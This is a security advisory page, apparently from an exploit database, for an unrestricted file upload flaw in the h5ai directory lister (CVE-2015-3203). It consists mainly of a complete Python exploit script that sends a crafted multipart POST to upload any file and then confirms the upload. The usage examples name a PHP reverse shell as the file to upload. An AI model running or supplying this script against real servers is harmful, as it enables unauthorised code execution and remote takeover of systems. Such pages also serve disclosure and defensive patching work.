h5ai < 0.25.0 Unrestricted File Upload

2015.09.23
Credit: rTheory
Risk: High
Local: No
Remote: Yes
CWE: N/A


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#!/usr/bin/env python # Exploit Title: h5ai < 0.25.0 Unrestricted File Upload # Date: 21 September 2015 # Exploit Author: rTheory # Vendor Homepage: https://larsjung.de/h5ai/ # Vulnerable Software Link: https://web.archive.org/web/20140208063613/http://release.larsjung.de/h5ai/h5ai-0.24.0.zip # Vulnerable Versions: 0.22.0 - 0.24.1 # Tested on: 0.24.0 running on Apache # CVE : 2015-3203 import urllib import urllib2 import socket import os import getopt import sys # Globals with default options url = '' path = '/' fileName = '' filePath = '' verboseMode = False def header(): print '+-----------------------------------------------+' print '| File upload exploit for h5ai v0.22.0 - 0.24.1 |' print '| See CVE-2015-3203 for vulnerability details |' print '+------------------- rTheory -------------------+' def usage(): print print 'Usage: %s -t target_url -f upload_file' % os.path.basename(__file__) print '-t --target - The URL to connect to' print ' ex: http://example.com' print '-f --file - The file to upload' print ' ex: php-reverse-shell.php' print '-p --path - The path to upload to' print ' Default is '/'' print '-v --verbose - Enable more verbose output' print print 'Examples:' print '%s -t http://example.com:8080 -f php-reverse-shell.php' % os.path.basename(__file__) print '%s -t http://192.168.1.100 -f php-reverse-shell.php -p /dir/' % os.path.basename(__file__) sys.exit(0) def main(): global url global path global fileName global filePath global verboseMode header() if not len(sys.argv[4:]): print '[-] Incorrect number of arguments' usage() try: opts, args = getopt.getopt(sys.argv[1:],"ht:f:p:v", ["help","target","file","path","verbose"]) except getopt.GetoptError as err: print str(err) usage() for o,a in opts: if o in ('-h','--help'): usage() elif o in ('-t','--target'): url = a elif o in ('-f','--file'): fileName = a elif o in ('-p','--path'): path = a elif o in ('-v','--verbose'): verboseMode = True else: assert False,"Unhandled Option" # Test target URL, target file, and path inputs for validity if not url.startswith('http'): print '[-] Error: Target URL must start with http:// or https://' usage() if not os.path.isfile(fileName): print '[-] Error: File does not appear to exist' usage() if not (path.startswith('/') and path.endswith('/')): print '[-] Error: Path must start and end with a '/'' usage() # Determine target host, which is the URL minus the leading protocol if url.find('http://') != -1: host = url[7:] elif url.find('https://') != -1: host = url[8:] else: host = url # Store the contents of the upload file into a string print '[+] Reading upload file' f = open(fileName,'r') fileContents = f.read() f.close() MPFB = 'multipartformboundary1442784669030' # constant string used for MIME info # Header information. Content-Length not needed. http_header = { "Host" : host, "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0", "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language" : "en-us,en;q=0.5", "Accept-Encoding" : "gzip, deflate", "Content-type" : "multipart/form-data; boundary=------" + MPFB, "X-Requested-With" : "XMLHttpRequest", "Referer" : url + path, "Connection" : "keep-alive" } # POST parameter for file upload payload = '--------'+MPFB+'\r\nContent-Disposition: form-data; name="action"\r\n\r\nupload\r\n' payload += '--------'+MPFB+'\r\nContent-Disposition: form-data; name="href"\r\n\r\n'+path+'\r\n' payload += '--------'+MPFB+'\r\nContent-Disposition: form-data; name="userfile"; filename="'+fileName+'"\r\nContent-Type: \r\n\r\n'+fileContents+'\r\n' payload += '--------'+MPFB+'--\r\n' socket.setdefaulttimeout(5) opener = urllib2.build_opener() req = urllib2.Request(url, payload, http_header) # submit request and print output. Expected: "code 0" try: print '[+] Sending exploit POST request' res = opener.open(req) html = res.read() if verboseMode: print '[+] Server returned: ' + html except: print '[-] Socket timed out, but it might still have worked...' # close the connection opener.close() # Last step: check to see if the file uploaded (performed outside of this function) filePath = url + path + fileName print '[+] Checking to see if the file uploaded:' print '[+] ' + filePath def postCheck(): # Check to see if the file exists # This may work now that everything from main() was torn down global filePath try: urllib2.urlopen(filePath) print '[+] File uploaded successfully!' except urllib2.HTTPError, e: print '[-] File did not appear to upload' except urllib2.URLError, e: print '[-] File did not appear to upload' main() postCheck()

References:

https://larsjung.de/h5ai/
https://web.archive.org/web/20140208063613/http://release.larsjung.de/h5ai/h5ai-0.24.0.zip


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top